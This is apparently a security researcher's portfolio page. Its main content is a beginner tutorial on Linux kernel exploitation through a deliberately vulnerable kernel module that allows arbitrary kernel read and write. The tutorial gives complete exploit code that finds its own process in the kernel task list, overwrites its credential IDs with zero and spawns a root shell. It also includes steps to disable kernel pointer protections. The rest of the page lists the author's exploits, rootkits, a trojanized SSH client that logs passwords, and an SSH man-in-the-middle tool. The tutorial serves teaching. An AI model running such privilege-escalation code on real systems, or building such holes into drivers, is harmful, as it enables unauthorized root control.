HARDWARE HACKER
&
LOW LEVEL HACKER
BASED IN INDONESIA

Linux Kernel Exploitation for Beginner - Arbitrary Read & Write

Written by : Antonius (w1sdom)

https://github.com/bluedragonsecurity

https://www.bluedragonsec.com

The Cred Overwrite Attack is a kernel exploitation technique that leverages arbitrary read and write capabilities to kernel memory to modify the cred structure of a process. The cred (credential) structure in the Linux kernel stores access rights information for a process, including UID, GID, and capabilities.

This technique falls into the category of data-only attacks because it does not hijack the process execution flow but only modifies the data contents in the cred structure in the Linux kernel. This technique is still relevant on current modern Linux kernels.

In this example, the target distribution to be exploited is Linux Lubuntu 24.04.3 64-bit with Linux kernel 6.14.0–37-generic running in VirtualBox. Meanwhile, the host OS is Kali Linux 2025.4.

On the host OS, we will use gdb to perform debugging while the exploit is running.

Step 1. Preparation

In this example, we will exploit Lubuntu 24.04 with Linux kernel 6.14.0–37 which is in VirtualBox with the host OS being Kali Linux 2025.4. Just like memory exploitation in userspace, we also need the same binary as the target Linux distribution we will exploit, in this case we need vmlinux from the target system. Now usually vmlinux is compressed into vmlinuz, and we can get this vmlinuz in the /boot directory.

What are vmlinux and vmlinuz?

vmlinux is a static executable file containing the Linux kernel in a form that can be read by the system (the heart of the Linux kernel).

vmlinuz is the compressed form of the vmlinux file.

First, download vmlinuz-6.14.0–27-generic from the guest OS Lubuntu 24.04.3. Next, we prepare for Linux kernel debugging. I’ve created a tutorial at https://github.com/bluedragonsecurity/docs/blob/main/Linux%20kernel%20debugging%20.pdf

After the vmlinuz file is downloaded to the host OS Kali Linux, use the extract vmlinux script to extract:

wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
chmod +x extract-vmlinux

Next, extract:

./extract-vmlinux vmlinuz-6.14.0-27-generic > vmlinux_debug

Since this is a tutorial for beginners, we will first disable mitigations on the target Linux kernel (Lubuntu 24.04.3).

Edit grub to support kernel debugging

sudo nano /etc/default/grub

Change the GRUB_CMDLINE_LINUX_DEFAULT line to:

GRUB_CMDLINE_LINUX_DEFAULT="kgdboc=ttyS0,115200 kgdbwait"

Then save and update grub:

sudo update-grub

Then restart!

After that, we need to disable the kptr_restrict mitigation on the kernel:

sudo sysctl -w kernel.kptr_restrict=0
sudo sysctl -w kernel.perf_event_paranoid=1

Next, configure the VirtualBox VM like this:

Press enter or click to view image in full size

When the guest OS is in the booting process, a kdb console will appear. On the host OS Kali Linux:

socat -d -d UNIX-CLIENT:/tmp/vbox_debug TCP-LISTEN:1234 &
gdb ./vmlinuz-6.14.0-27-generic

After entering the gdb console, type:

target remote :1234
c

Next, the guest OS will continue booting.

Step 2. Analyzing the Vulnerable LKM Source Code

On the guest OS, prepare the vulnerable LKM source code for testing the data-only attack exploitation technique:

Here is the vuln_cred.c source code:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/device.h>
#define DEVICE_NAME "vuln_cred"
#define IOCTL_READ 0x100
#define IOCTL_WRITE 0x200
static struct class* vunl_class = NULL;
static struct device* vunl_device = NULL;
static int major;
struct data_args {
    unsigned long *addr;
    unsigned long value;
};
static char *vunl_devnode(const struct device *dev, umode_t *mode) {
    if (mode) *mode = 0666; 
    return NULL;
}
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    struct data_args karg;
    unsigned long kernel_val;
    
    if (copy_from_user(&karg, (void __user *)arg, sizeof(karg))) 
        return -EFAULT;
    
    if (!karg.addr) return -EINVAL;
    
    switch (cmd) {
        case IOCTL_READ:
            if (copy_from_kernel_nofault(&kernel_val, (const void *)karg.addr, sizeof(unsigned long))) {
                return -EFAULT;
            }
            if (copy_to_user((void __user *)arg + offsetof(struct data_args, value), &kernel_val, sizeof(unsigned long))) {
                return -EFAULT;
            }
            break;
            
        case IOCTL_WRITE:
            if (copy_to_kernel_nofault((void *)karg.addr, &karg.value, sizeof(unsigned long))) {
                return -EFAULT;
            }
            break;
            
        default: 
            return -EINVAL;
    }
    return 0;
}
static struct file_operations fops = {
    .owner = THIS_MODULE,
    .unlocked_ioctl = device_ioctl 
};
static int __init vuln_init(void) { 
    major = register_chrdev(0, DEVICE_NAME, &fops); 
    
    if (major < 0) return major;
    
    vunl_class = class_create(DEVICE_NAME);
    if (IS_ERR(vunl_class)) {
        unregister_chrdev(major, DEVICE_NAME);
        return PTR_ERR(vunl_class);
    }
    
    vunl_class->devnode = vunl_devnode;
    vunl_device = device_create(vunl_class, NULL, MKDEV(major, 0), NULL, DEVICE_NAME);
    printk(KERN_INFO "[+] %s loaded with major %d\n", DEVICE_NAME, major);
    return 0;
}
static void __exit vuln_exit(void) { 
    device_destroy(vunl_class, MKDEV(major, 0));
    class_destroy(vunl_class);
    unregister_chrdev(major, DEVICE_NAME);
    printk(KERN_INFO "[-] %s unloaded\n", DEVICE_NAME);
}
module_init(vuln_init);
module_exit(vuln_exit);
MODULE_LICENSE("GPL");

Here is the Makefile contents:

obj-m += vuln_cred.o

all:
        make -b -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 

clean:
        make -b -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Compile the kernel module and load it into the kernel:

make
sudo insmod vuln_cred.ko

We can see with dmesg if the module has been successfully installed:

Press enter or click to view image in full size

The vuln_cred.c source above is an example of LKM source code with arbitrary read and write vulnerabilities. We can see in this function:

Press enter or click to view image in full size

static long device_ioctl is a simple implementation for the ioctl syscall.

Vulnerability 1. Arbitrary Read

In the device_ioctl function, there is an IOCTL_READ operation that allows reading memory contents from kernel space to userspace with the copy_from_kernel_nofault function. Those who are used to creating LKMs must already be familiar with this function.

According to the manual, this function is useful for reading data at memory addresses located in kernel space:

copy_from_kernel_nofault() is a Linux kernel function used to safely read data from a potentially unsafe or invalid kernel memory address into a safe buffer. It is designed to handle memory faults (like page faults or invalid access) by returning an error code instead of causing a kernel panic or oops.

Because there is an ioctl read implementation provided by the LKM that was carelessly programmed, an attacker in userspace can access data contents in kernel space memory without causing a kernel panic or kernel oops.

Vulnerability 2. Arbitrary Write

In the device_ioctl function, there is also an ioctl_write operation. Let’s look at this code block in the vuln_cred.c LKM:

case IOCTL_WRITE:
    if (copy_to_kernel_nofault((void *)karg.addr, &karg.value, sizeof(unsigned long))) {
        return -EFAULT;
    }

The ioctl_write operation uses the copy_to_kernel_nofault function which was carelessly implemented by the programmer. This function will copy data from userspace to kernel space.

copy_to_kernel_nofault() is a special function used to safely copy data to kernel memory addresses, especially when we cannot guarantee that the destination address is valid or writable. With this function, an attacker can exploit it to write data to kernel memory areas from userspace without causing kernel oops or kernel panic.

Step 3. Creating the Basic Exploit Framework

Without further delay, next prepare the basic exploit framework:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>
#define IOCTL_READ 0x100
#define IOCTL_WRITE 0x200
#define MY_PROCESS_NAME "wisdom"
#define OFFSET_TASKS 0xa00
#define OFFSET_CRED 0xce0
#define OFFSET_COMM 0xcf0

struct data_args { unsigned long *addr; unsigned long value; };

int fd;

unsigned long kread(unsigned long addr) {
    struct data_args args = { .addr = (unsigned long *)addr };
    if (ioctl(fd, IOCTL_READ, &args) < 0) return 0;
    return args.value;
}

unsigned long get_init_task() {
    FILE *f = fopen("/proc/kallsyms", "r");
    char addr[32], type, name[128];
    if(!f) return 0;
    
    while (fscanf(f, "%s %c %s", addr, &type, name) > 0) {
        if (strcmp(name, "init_task") == 0) { 
            fclose(f); 
            return strtoul(addr, NULL, 16); 
        }
    }
    fclose(f); 
    return 0;
}

int main() {
    fd = open("/dev/vuln_cred", O_RDWR);
    if (fd < 0) { perror("[-] Failed to open device\n"); return 1; }
    
    prctl(PR_SET_NAME, MY_PROCESS_NAME); 
    
    unsigned long task_ptr = get_init_task();
    printf("[*] searching from init_task: 0x%lx\n", task_ptr);
    
    for (int i = 0; i < 3000; i++) {
        char comm[16];
        unsigned long comm_addr = task_ptr + OFFSET_COMM;
        unsigned long val1 = kread(comm_addr);
        unsigned long val2 = kread(comm_addr + 8);
        memcpy(comm, &val1, 8);
        memcpy(comm + 8, &val2, 8);
        
        if (strncmp(comm, MY_PROCESS_NAME, 16) == 0) {
            printf("[+] found task_struct: 0x%lx\n", task_ptr);
            unsigned long cred_ptr = kread(task_ptr + OFFSET_CRED);
            printf("[+] got struct cred addr : 0x%lx\n", cred_ptr);
            getchar();
        }
        
        unsigned long next_task_node = kread(task_ptr + OFFSET_TASKS);
        task_ptr = next_task_node - OFFSET_TASKS;
        if (task_ptr < 0xffff000000000000) break; 
    }
    
    printf("[-] process '%s' not found.\n", MY_PROCESS_NAME);
    return 0;
}

Save as exploit1.c

Join The Writer's Circle event

The offset values need to be adjusted to your target Linux kernel:

#define OFFSET_TASKS 0xa00
#define OFFSET_CRED 0xce0
#define OFFSET_COMM 0xcf0

Earlier we extracted vmlinuz into vmlinux. These offsets can be obtained with pahole.

pahole -C task_struct vmlinux_raw | grep -E "(tasks|cred|comm)"

Example output:

┌──(robohax㉿robohax-20bws2ng00)-[~/…/sploit/kernelspace/SETUP/vmlinux_lubuntu_24.03]
└─$ pahole -C task_struct vmlinux_raw | grep -E "(tasks|cred|comm)" 
    struct list_head tasks;                  /* 2560    16 */
    struct plist_node pushable_tasks;        /* 2576    40 */
    struct rb_node pushable_dl_tasks;        /* 2616    24 */
    const struct cred * ptracer_cred;        /* 3280     8 */
    const struct cred * real_cred;           /* 3288     8 */
    const struct cred * cred;                /* 3296     8 */
    char comm[16];                           /* 3312    16 */

The offsets we need are:

First step:

fd = open("/dev/vuln_cred", O_RDWR);

We open a communication channel with vuln_cred through the /dev/vuln_cred device. The purpose is so that our exploit in userspace can read and write data later by exploiting the arbitrary read and arbitrary write vulnerabilities in the artificial ioctl implementation by the LKM.

Next step:

prctl(PR_SET_NAME, MY_PROCESS_NAME);

prctl stands for Process Control. It is a function in C (Linux) that allows a program to manipulate various aspects of the behavior of the currently running process or thread.

In this example, we use the PR_SET_NAME flag to name the process (exploit) that is running.

Next step:

unsigned long task_ptr = get_init_task();

We get the memory address of init_task from /proc/kallsyms. What is init_task?

init_task is a data structure in the Linux kernel that takes the form of a doubly linked list. A doubly linked list is a data structure where elements are not stored in adjacent memory locations.

In a doubly linked list, each element is called a node.

struct Node {
    int data;
    struct Node* next;
    struct Node* prev;
};

Each node has two pointers: one pointing to the next node (next) and another to the previous node (prev), or what we also call bidirectional.

Finding init_task is the most standard first step in kernel exploitation techniques for Privilege Escalation (elevating access rights) through data structure manipulation.

Why init_task?

1. Entry Point to the List of All Processes

In the Linux kernel, all processes are stored in nodes within a doubly linked list. init_task is the first element or “root” of this list (representing the process with PID 0 or swapper/idle process).

Because init_task is a static symbol, its address is fixed and recorded in /proc/kallsyms. By getting this address, your exploit has a starting point (Entry Point) to traverse kernel memory to find other processes.

2. Finding the Exploit’s task_struct

Since we previously marked our exploit process with the marker: wisdom, here are the steps to search for that marker:

  1. Start from init_task.
  2. Use the tasks.next pointer (offset 0xa00 that you found) to move to the next process.
  3. Check the process name (comm), if the process is named wisdom then we can continue the exploitation stage.

3. Access to the Credential Structure (struct cred)

Each process is represented by a giant structure called task_struct. Inside this structure is a pointer to struct cred, which contains UID, GID, and other access rights information.

Without knowing the task_struct address obtained from searching starting from init_task, we will never know where the process’s struct cred address is in the kernel heap memory.

If the process name wisdom is successfully found, here we have set a breakpoint for debugging with the getchar() function:

if (strncmp(comm, MY_PROCESS_NAME, 16) == 0) {
    printf("[+] found task_struct: 0x%lx\n", task_ptr);
    unsigned long cred_ptr = kread(task_ptr + OFFSET_CRED);
    printf("[+] got struct cred addr : 0x%lx\n", cred_ptr);
    getchar();
}

Before inserting the arbitrary write, we will first validate the memory contents for struct cred_addr with gdb on the host Kali Linux.

Note this:

unsigned long comm_addr = task_ptr + OFFSET_COMM;

The memory address where the process name string is located is at the address init_task + static offset for char comm obtained from the vmlinux extraction results.

unsigned long cred_ptr = kread(task_ptr + OFFSET_CRED);

The memory address where the cred data structure is located is at the address init_task + static offset for const struct cred * cred obtained from the vmlinux extraction.

To test and validate whether the found struct cred address contains the correct data, we need to perform kernel debugging.

First, compile exploit1.c and run it:

gcc -o exploit1 exploit1.c

Let’s try running the exploit:

./exploit1

Result:

Press enter or click to view image in full size

Step 4. Debugging for Memory Contents Verification

In the example above, we got the cred structure address in memory at 0xffff8880079a33c0. This address will change every time the kernel boots on the guest OS.

Next, on the guest OS, stop the kernel from running with this command:

echo g | sudo tee /proc/sysrq-trigger

Return to the gdb window on the host OS. In the gdb console, we check the memory address contents starting from address 0xffff8880079a33c0:

(remote) gef x/10wx 0xffff8880079a33c0 ➤
0xffff8880079a33c0: 0x00000004 0x00000000 0x000003e8 0x000003e8
0xffff8880079a33d0: 0x000003e8 0x000003e8 0x000003e8 0x000003e8
0xffff8880079a33e0: 0x000003e8 0x000003e8
(remote) gef➤

The command x/10wx will examine 10 units of hexadecimal display data starting from memory address 0xffff8880079a33c0, where each will be displayed as 1 word (4 bytes).

Note that in unit 3 there is uid data in hexadecimal: 0x3e8 = 1000 In unit 4 there is gid data in hexadecimal: 0x3e8 = 1000 In unit 5 there is euid data in hexadecimal: 0x3e8 = 1000

Now those are the data in the cred structure that must be overwritten. The way to read data in each unit is in little endian where every 2 digits represent 1 byte.

Each memory address will contain 1 byte! Here we will overwrite the uid, gid and euid data with the number 0 to give the exploit process named wisdom uid, gid and euid of 0 in the struct cred:

kwrite(cred_ptr + 8, 0);
kwrite(cred_ptr + 16, 0); 
kwrite(cred_ptr + 24, 0);

Here is our final exploit source code exploit2.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h> 
#define IOCTL_READ 0x100
#define IOCTL_WRITE 0x200
#define MY_PROCESS_NAME "wisdom"
#define OFFSET_TASKS 0xa00
#define OFFSET_CRED 0xce0
#define OFFSET_COMM 0xcf0
struct data_args { unsigned long *addr; unsigned long value; };
int fd;
unsigned long kread(unsigned long addr) {
    struct data_args args = { .addr = (unsigned long *)addr };
    if (ioctl(fd, IOCTL_READ, &args) < 0) return 0;
    return args.value;
}
void kwrite(unsigned long addr, unsigned long val) {
    struct data_args args = { .addr = (unsigned long *)addr, .value = val };
    ioctl(fd, IOCTL_WRITE, &args);
}
unsigned long get_init_task() {
    FILE *f = fopen("/proc/kallsyms", "r");
    char addr[32], type, name[128];
    if(!f) return 0;
    
    while (fscanf(f, "%s %c %s", addr, &type, name) > 0) {
        if (strcmp(name, "init_task") == 0) { 
            fclose(f); 
            return strtoul(addr, NULL, 16); 
        }
    }
    fclose(f); 
    return 0;
}
int main() {
    fd = open("/dev/vuln_cred", O_RDWR);
    if (fd < 0) { perror("[-] Failed to open device\n"); return 1; }
    
    prctl(PR_SET_NAME, MY_PROCESS_NAME); 
    
    unsigned long task_ptr = get_init_task();
    printf("[*] searching from init_task: 0x%lx\n", task_ptr);
    
    for (int i = 0; i < 3000; i++) {
        char comm[16];
        unsigned long comm_addr = task_ptr + OFFSET_COMM;
        unsigned long val1 = kread(comm_addr);
        unsigned long val2 = kread(comm_addr + 8);
        memcpy(comm, &val1, 8);
        memcpy(comm + 8, &val2, 8);
        
        if (strncmp(comm, MY_PROCESS_NAME, 16) == 0) {
            printf("[+] found task_struct: 0x%lx\n", task_ptr);
            unsigned long cred_ptr = kread(task_ptr + OFFSET_CRED);
            printf("[+] got struct cred addr : 0x%lx\n", cred_ptr);
            
            printf("[*] overwriting cred pointer\n");
            kwrite(cred_ptr + 8, 0); 
            kwrite(cred_ptr + 16, 0); 
            kwrite(cred_ptr + 24, 0);
            
            if (getuid() == 0) {
                printf("[!] spawning root shell !\n");
                system("/bin/bash");
                return 0;
            } else {
                printf("[-] failed to get root.\n");
                return 1;
            }
        }
        
        unsigned long next_task_node = kread(task_ptr + OFFSET_TASKS);
        task_ptr = next_task_node - OFFSET_TASKS;
        if (task_ptr < 0xffff000000000000) break; 
    }
    
    printf("[-] process '%s' not found.\n", MY_PROCESS_NAME);
    return 0;
}

Compile and run the exploit:

gcc -o exploit2 exploit2.c && ./exploit2

Result:

Press enter or click to view image in full size

Productions (Total : 5)

Hacker Gadget Robots IOT Other
RoboMall - A Teleoperated Mall Robot by Robotsoft
robots
RoboMall - A Teleoperated Mall Robot by Robotsoft

RoboMall was developed by Antonius (w1sdom) in 2023, The robot was designed to be operated in a mall. The purpose is that mall visitors doesn't need to visit mall directly, instead, they can use this robot to stroll in a mall and if they deposit in RoboMall wallet system they can buy things on mall, then the goods will be delivered by couriers.

iot
Robotsoft LightBox - IOT Lightning

Robotsoft LightBox is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.

iot
Robotsoft FloorLight - IOT Lightning

Robotsoft FloorLight is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.

iot
Robotsoft Torch - IOT Lightning

Robotsoft Torch is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.

other
Robotsoft Solar - Solar Powered Electrical Generator

Solar Powered Electrical Generator. This generator created by Antonius (w1sdom). This product created for his startup Robotsoft in 2020.

Show All

Exploits (Total : 29)

linux freebsd openbsd windows
LINUX EXPLOIT
CVE-2026-46215 Exploit for Linux 7.0 - More Stable & Reliable

This is an exploit for CVE-2026-46215 (Linux Kernel Use After Free) Adapted for Linux 7.0 !!! This exploit is more stable and reliable than the first exploit I released.


Read More
LINUX EXPLOIT
CVE-2026-46215 Exploit for Linux Kernel 7.0 - 7.8 & Linux Kernel 7.0-rc* Series

This is an exploit for CVE-2026-46215 (Linux Kernel Use After Free) Adapted for Linux 7.0 !!! WARNING !!! this exploit is not stable ! sometimes, this exploit might cause kernel panic !


Read More
LINUX EXPLOIT
2026 Buptlab Dns Relay Server Remote Dos - for Linux

2026 Buptlab Dns Relay Server Remote Dos - for Linux. Lame remote denial of service exploit for buptlab dns relay server. Bug was discovered by Antonius (w1sdom) in 2026.


Read More
LINUX EXPLOIT
2026 Linux Litedns Remote Dos Exploit - for Linux

Lame remote denial of service exploit for litedns dns server - Bug Discovered by Antonius (w1sdom) in 2026.


Read More
LINUX EXPLOIT
CVE-2026-27831 Rldns Remote Dos Exploit - for Linux

rldns-1.0 - rldns-1.3 remote denial of service exploit. (rldns is an open source dns server that I developed).


Read More
LINUX EXPLOIT
CVE-2022-0847 - Linux Kernel 5.8 < 5.15.25 Local Privilege Escalation Exploit (DirtyPipe 2)

CVE-2022-0847 - Linux Kernel 5.8 < 5.15.25 Local Privilege Escalation Exploit (DirtyPipe 2). github : https://github.com/bluedragonsecurity web : https://www.bluedragonsec.com


Read More
WINDOWS EXPLOIT
2013 - Savant Web Server 3.1 Post Method Buffer Overflow Denial of Service Via HTTP Post - for Windows

Private Bug !!! Savant Web Server 3.1 Post Method Buffer Overflow Denial of Service via HTTP Post. Vulnerability in HTTP Post discovered by Antonius. web : bluedragonsec.com - github.com/bluedragonsecurity

WINDOWS EXPLOIT
2013 - Minalic Web Server 2.0.0 Remote Stack Overflow Exploit Via HTTP Post Method - for Windows 32 bit - Python Version

Minalic Web Server 2.0.0 Remote Stack Overflow Exploit Via HTTP Post Method - for Windows 32 bit - Python Version. This is the only version in internet that used post method in 2013. Since post method and get method used different code path, you can tell that I found the vulnerability for post method. Exploit target : Windows Server 2003 Service Pack 2, English

WINDOWS EXPLOIT
2013 - MinaliC Webserver Post Method Remote Buffer Overflow Exploit for x86 Windows - C Version

MinaliC Webserver Post Method Remote Buffer Overflow Exploit. Affected : MinaliC Webserver 2.0.0. Vulnerability in post method was invented by Antonius in 2013. Original code developed by Antonius in Apr 2013. Code patched in 2026. web : bluedragonsec.com - https://github.com/bluedragonsecurity


Read More
WINDOWS EXPLOIT
2013 - EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow Exploit for x86 Windows - Python Version

Private Exploit !!! EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow. Original code using python 2.6 developed in 2013. Code patched in 2026 -> adjustment for python3. Exploit developed by Antonius (w1sdom) - bluedragonsec.com - https://github.com/bluedragonsecurity


Read More
WINDOWS EXPLOIT
2013 - EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow Exploit for x86 Windows - C Version

Private Exploit !!! EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow. Original code using python 2.6 developed in 2013 ported to C (Linux), patched in 2026. Exploit developed by Antonius (w1sdom) - bluedragonsec.com - https://github.com/bluedragonsecurity


Read More
WINDOWS EXPLOIT
CVE-2012-10023 FreeFloat FTP Server 1.0 Remote Stack Overflow Exploit for x86 Windows

Private Exploit !!! CVE-2012-10023 FreeFloat FTP Server 1.0 Remote Stack Overflow Exploit. Code : Antonius (w1sdom) - bluedragonsec.com. Original code developed in 2013 - exploit patched in 2026 https://github.com/bluedragonsecurity


Read More
Show All

Videos (Total : 0)

Show All

Vulnerabilities (Total : 7)

high No Cve Reported
MinaliC Webserver 2.0.0 - Remote Buffer Overflow via HTTP POST

Stack-based buffer overflow in MinaliC Webserver 2.0.0 allows remote attackers to execute arbitrary code via a crafted HTTP POST request. The overflow occurs in the URI parsing routine when processing the POST method, which follows a separate code path from GET. Existing CVEs for MinaliC do not cover this vulnerability. Discovered by Antonius in 2013.

Affected : MinaliC Webserver 2.0.0
high No CVE Reported
Savant Web Server 3.1- Denial of Service via HTTP POST Buffer Overflow

Buffer overflow in Savant Web Server 3.1 allows remote unauthenticated attackers to crash the server (denial of service) via a crafted HTTP POST request with an oversized URI and body. Existing CVEs for Savant cover the GET-method overflow only. This vulnerability uses the POST method which hits a different code path. Discovered by Antonius in 2013.

Affected : Savant Web Server 3.1
medium CVE-2026-23416
Linux mm/mseal - Stale curr_end After VMA Merge

curr_end becomes stale after VMA merge in mseal_apply(), leading to incorrect sealing state. Affects Linux kernels 6.17–7.0-rc5. Fix authored by Lorenzo Stoakes (Oracle). Vulnerability discovered by Antonius

Affected : Linux 6.17 – 7.0-rc5
medium CVE-2026-27831
rldns 1.3 - Heap Out-of-Bounds Read

Heap OOB read vulnerability in rldns 1.3 DNS server. Fixed in rldns 1.4 with comprehensive fuzzing via honggfuzz and improved input validation. Vulnerability discovered by Antonius.

Affected : rldns 1.3
medium CVE-2026-31429
Linux Kernel >= 6.3 < 6.12.82 Slab Cross-Cache Confusion

Type Confusion / Cross-Cache Free (Slab Cache Confusion) in the Linux Kernel (versions ≥ 6.3 and < 6.12.82). This vulnerability involves a pointer allocated within Cache A but subsequently freed into Cache B. Discovered by Antonius.

Affected : Linux net/bpf · fix: 0f42e3f4fe2a
medium No CVE Reported
LiteDNS: Out-of-Bounds Read in DNS Name Parsing Leads to Denial of Service (DoS)

Out-of-bounds Read leading to Denial of Service (DoS). Vulnerability discovered by Antonius.

Affected :
medium No CVE Reported
Remote Heap-Based Buffer Underflow Vulnerability at BuptLab dns relay server

Remote Heap-Based Buffer Underflow, 1-byte Heap Underwrite / Out-of-Bounds Write, Network-triggerable via crafted UDP DNS packet. Vulnerability discovered by Antonius.

Affected :
Show All

Papers (Total : 1)

PAPER
UAF Exploitation in the Sheaves Era

In this paper, I reverse engineered Linux kernel 7 slub sheaves allacator implementation. I created some novel heap based UAF exploitation techniques for Linux Kernel 7. This paper was finished before June 30 2026. Published on Phrack 73.

Show All

Blog (Total : 24)

hardware hacking low level artificial intelligence other
LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation - bypass ASLR - Per-Page Brute Force (Basic Side Channel Implemantation— non la57 system)

Part 5 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com

LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation - bypass ASLR via format string information leak (non la57 system)

Part 4 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com

LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation — bypass PIE via format string information leak

Part 3 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com

LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation - ret2plt

Part 2 of x86_64 remote stack overflow exploitation for x86_64 linux, covering ret2plt. The writing is still on a non la57 linux system.

LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation -The Basic

This guide is about basic of remote stack overflow exploitation on x86_64 linux. This one is the first guide from a series.

OTHER
The Story of A Lamer - From Zero to Zero

A story about a lamer who started learning in 1996 and is still a lamer in 2026.

LOW LEVEL
SEH Exploitation on KNet Web Server 1.04b (CVE-2005-0575 Exploitation Write-Up)

This is a very old write-up about CVE-2005-0575 Remote Exploitation, this is very old and might not be relevant anymore ! you have been warned ! I forgot when I made it. This is translated from Indonesian language (as always).

OTHER
The 8 Beginner Guide(s) for New Hackers

I released 8 pdf(s) Tutorial for Beginner Hacker. I wrote this in January 2026. I translate this materials from Indonesian Language.

HARDWARE HACKING
A Tiny Scrap of Note on Physical Attacks Against LAN Networks

Physical Attacks on LAN Networks is part of security training materials that I gave to Indonesian Police. This writing is a translation of some parts of my training materials about physical attacks (I haven't had time to release some details on "how to make the hacking devices", it's planned to be released in the future - the electronic parts & the codes).

Physical-Layer Biometric Evasion: A Personal Experiment Against ConvNet-Based Face Recognition

Unconventional bio hacking technique to defeat convnet face recognition algorithm ! The Art of Creativity !

LOW LEVEL
Linux Kernel Use-After-Free Exploitation in Linux Kernel 7 Using slab_sheaf Union State Confusion

Novel UAF exploitation technique targeting the new SLUB sheaves architecture introduced in Linux 7, leveraging union state confusion in slab_sheaf objects for kernel privilege escalation. This is "The Art of Hijacking the Allocator State"

LOW LEVEL
Linux Kernel Stack Overflow Exploitation: Defeating SMEP Using kROP (Kernel 6.17)

Step-by-step walkthrough of constructing a kernel ROP chain to bypass SMEP & SMAP on Linux Kernel 6.17.

Show All
PROFILE
Hardware Hacker & Low Level Hacker

I am Antonius (w1sdom), a security researcher based in Indonesia (but Chinese). I am a polymath type security researcher with strong knowledge in "hardware hacking (robotics)" and "low level exploitation".

I Learnt electronics in 1996 and then learnt to write 16 bit asm virus in 1998-2001.

I combine multiple disciplines in robotics, electronics, low level exploitation, hardware hacking & artificial intelligence to create innovative technologies, novel hacking techniques and low level exploitation techniques.

Nicknames

w1sdom, sw0rdm4n, ev1lut10n, d4r3d3v1l, jck.marshall (one time usage), ringlayer, robotsoft, mranton, 黑蝎子, Prof. Robotsoft, Mr. Robot, etc...

BIO
Short Bio

Zodiac : Scorpio.
Born : 198x
INTJ - Polymath

Hobbies
  • Play musical instruments (fingerstyle guitar & keyboard)
  • Martial Art (muay thai, taekwondo, boxing, brazilian jiujitsu)
  • Chess

Video Channels

robofight7 robomusic7

My Codes (Total : 8)

CODE
Xingyiquan Linux Kernel Rootkit

Developed in 2014, this legendary Linux Kernel Rootkit was engineered to target Linux kernel versions 2.6.x through 3.x. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/128945

CODE
Trojanized version of OpenSSH 8

Trojanized version of openssh-8.0p1 where the ssh client will log the ssh username and ssh password into /opt/.../log.txt. Build 2024 - by Antonius (sw0rdm4n)

CODE
rldns v1.4

Lightweight DNS server · Linux / NetBSD / FreeBSD / OpenBSD · x86 / x86_64. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n) - version 1.0 was released in 2017 --> https://packetstorm.news/files/id/141606

CODE
BDS LKM Ftrace Rootkit

Ftrace-based LKM rootkit · Linux Kernel 5.x–6.2 · x86_64 - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174805

CODE
BDS FreeBSD KLD Rootkit

FreeBSD 13 KLD rootkit · file / process / port hiding · bind shell - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174806

CODE
BDS LKM Rootkit

LKM rootkit · Linux Kernel 5.x–6.2 · persistent - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174789

CODE
BDS Userland Rootkit

Linux userland rootkit · file / process / port hiding by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174790

CODE
Evil-Cowrie SSH MITM

Modified Cowrie for SSH man-in-the-middle attacks by Antonius (w1sdom / sw0rdm4n / ev1lut10n)

Show All

Prototypes (Total : 6)

Hacker Gadget Robots IOT Other
ROBOTS PROTOTYPE
Haxtronic - My First Generation Hacker Robot - Developed in 2014

The first hacker robot that I created. This robot was developed in 2014. Some demo videos were posted in Youtube around 2016. This robot can explains about low level exploitation techniques. Robot skills : can hack wifi (wpa cracking using aircrack), evil twin, wifi deauth, arp cache poisoning. My old video channel --> https://www.youtube.com/@antoniusringlayer/videos

ROBOTS PROTOTYPE
Inem Robot

I planned to develop a spy robot, but this robot was too big. The chassis was created using metals. Developed in 2017, posted in youtube around 2019. Developed by Antonius (w1sdom)

Airhax Wireless Network Auditor Device
HACKER GADGET PROTOTYPE
Airhax Wireless Network Auditor Device

Airhax is a wireless network auditor gadget. This device was created in 2015. This gadget functions : wifi cracking, evil twin, wifi deauth, arp poisoning. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n / robotsoft)

ROBOTS PROTOTYPE
Ultrasonic Robot

I built this robot in 2014. It is a shy robot that is afraid of humans. I used 3 ultrasonic sensors.

ROBOTS PROTOTYPE
Giant Robot

A large-scale prototype robot powered by a mini PC and an Arduino, built as a personal project rather than a commercial product. At first, I planned to equip it with high-torque servos and an airsoft gun, but I realized that could be dangerous, so I scrapped the idea. Real hacking should be harmless. Build 2017 - by Prof. Antonius Robotsoft

